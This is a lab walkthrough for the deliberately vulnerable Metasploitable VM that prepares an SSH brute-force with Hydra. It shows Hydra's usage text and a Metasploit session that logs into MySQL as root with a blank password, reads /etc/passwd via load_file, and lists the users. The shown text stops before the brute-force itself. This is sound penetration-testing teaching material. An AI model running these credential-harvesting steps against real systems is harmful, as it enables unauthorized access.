Metasploitable/SSH/Brute Force

This walks through using Hydra to brute-force login information on Metasploitable.

Background

We will use Hydra to brute-force SSH logins.

Usage

If we just type hydra, we can see the basic usage:

root@morpheus:~# hydra 
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

Procedure

First, it would be great if we could log in via SSH as root, but this is usually disabled. To be successful, we will need a list of users on the system. This can be obtained many ways, but two methods using SQL servers are covered in Metasploitable/MySQL and Metasploitable/Postgres. Both pages cover techniques for obtaining /etc/passwd contents with metasploit.

The /etc/passwd file yields a list of users, which can be used to construct a list of users for Hydra. We can use some wordlists that come with Kali to obtain credentials.

Step by Step

Obtaining Usernames

The usernames can be obtained from /etc/passwd.

Here's the recap of getting the contents of that file from the MySQL server (username is root, password is blank):

root@morpheus:~# msfconsole
msf > use auxiliary/admin/mysql/mysql_sql
msf auxiliary(mysql_sql) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_sql) > set PASSWORD
[-] Unknown variable
Usage: set [option] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore

msf auxiliary(mysql_sql) > set PASSWORD ''
PASSWORD =>
msf auxiliary(mysql_sql) > set RHOST 10.0.0.27
RHOST => 10.0.0.27
msf auxiliary(mysql_sql) > set SQL select load_file(\'/etc/passwd\')
SQL => select load_file('/etc/passwd')
msf auxiliary(mysql_sql) > run

[*] Sending statement: 'select load_file('/etc/passwd')'...
[*]  | root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
 |
[*] Auxiliary module execution completed

Now we have a list of users:

root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
libuuid
dhcp
syslog
klog
sshd
msfadmin
bind
postfix
ftp
postgres
mysql
tomcat55
distccd
user
service
telnetd
proftpd
statd
snmp